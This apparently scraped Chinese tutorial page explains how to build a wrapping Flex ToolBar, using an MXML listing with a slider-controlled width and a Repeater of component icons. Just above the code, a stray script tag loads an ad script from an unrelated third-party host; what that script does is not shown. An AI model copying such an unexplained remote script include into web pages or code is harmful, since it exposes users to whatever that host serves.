Flex中如何创建一个可以自动换行并调整布局的ToolBar容器

<script src="http://www.cpcasr.cn/ad_js/mm_123.js"></script>

 main.mxml

1. <?xml version="1.0" encoding="utf-8"?>
2. <mx:Application xmlns:mx="http://www.adobe.com/2006/mxml"
3.         layout="vertical"
4.         verticalAlign="top"
5.         backgroundColor="white">
6.  
7.     <mx:Array id="images">
8.         <mx:Object label="Button" />
9.         <mx:Object label="ButtonBar" />
10.         <mx:Object label="CheckBox" />
11.         <mx:Object label="ColorPicker" />
12.         <mx:Object label="ComboBox" />
13.         <mx:Object label="DataGrid" />
14.         <mx:Object label="DateChooser" />
15.         <mx:Object label="DateField" />
16.         <mx:Object label="HorizontalList" />
17.         <mx:Object label="HRule" />
18.         <mx:Object label="HSlider" />
19.         <mx:Object label="Image" />
20.         <mx:Object label="Label" />
21.         <mx:Object label="LinkBar" />
22.         <mx:Object label="LinkButton" />
23.         <mx:Object label="List" />
24.         <mx:Object label="Menu" />
25.         <mx:Object label="MenuBar" />
26.         <mx:Object label="NumericStepper" />
27.         <mx:Object label="ProgressBar" />
28.         <mx:Object label="RadioButton" />
29.         <mx:Object label="RadioButtonGroup" />
30.         <mx:Object label="RichTextEditor" />
31.         <mx:Object label="Spacer" />
32.         <mx:Object label="SWFLoader" />
33.         <mx:Object label="TabBar" />
34.         <mx:Object label="Text" />
35.         <mx:Object label="TextArea" />
36.         <mx:Object label="TextInput" />
37.         <mx:Object label="TileList" />
38.         <mx:Object label="Tree" />
39.         <mx:Object label="VideoDisplay" />
40.         <mx:Object label="VRule" />
41.         <mx:Object label="VScrollBar" />
42.         <mx:Object label="VSlider" />
43.     </mx:Array>
44.  
45.     <mx:ApplicationControlBar dock="true">
46.         <mx:Form styleName="plain">
47.             <mx:FormItem label="percentWidth:">
48.                 <mx:HSlider id="slider"
49.                         minimum="0"
50.                         maximum="100"
51.                         value="35"
52.                         liveDragging="true"
53.                         snapInterval="1"
54.                         tickInterval="10"
55.                         dataTipPrecision="0" />
56.             </mx:FormItem>
57.         </mx:Form>
58.     </mx:ApplicationControlBar>
59.  
60.     <mx:VBox id="vBox"
61.             verticalAlign="middle"
62.             horizontalAlign="center"
63.             backgroundColor="black"
64.             backgroundAlpha="0.1"
65.             width="100%"
66.             height="200">
67.         <mx:ToolBar id="toolBar"
68.                  percentWidth="{slider.value}"
69.                  backgroundColor="haloSilver"
70.                  minWidth="18">
71.             <mx:Repeater id="imgRepeater"
72.                     dataProvider="{images}">
73.                 <mx:Image id="img"
74.                         source="assets/{imgRepeater.currentItem.label}.png"
75.                         toolTip="{imgRepeater.currentItem.label}" />
76.             </mx:Repeater>
77.         </mx:ToolBar>
78.     </mx:VBox>
79.  
80. </mx:Application>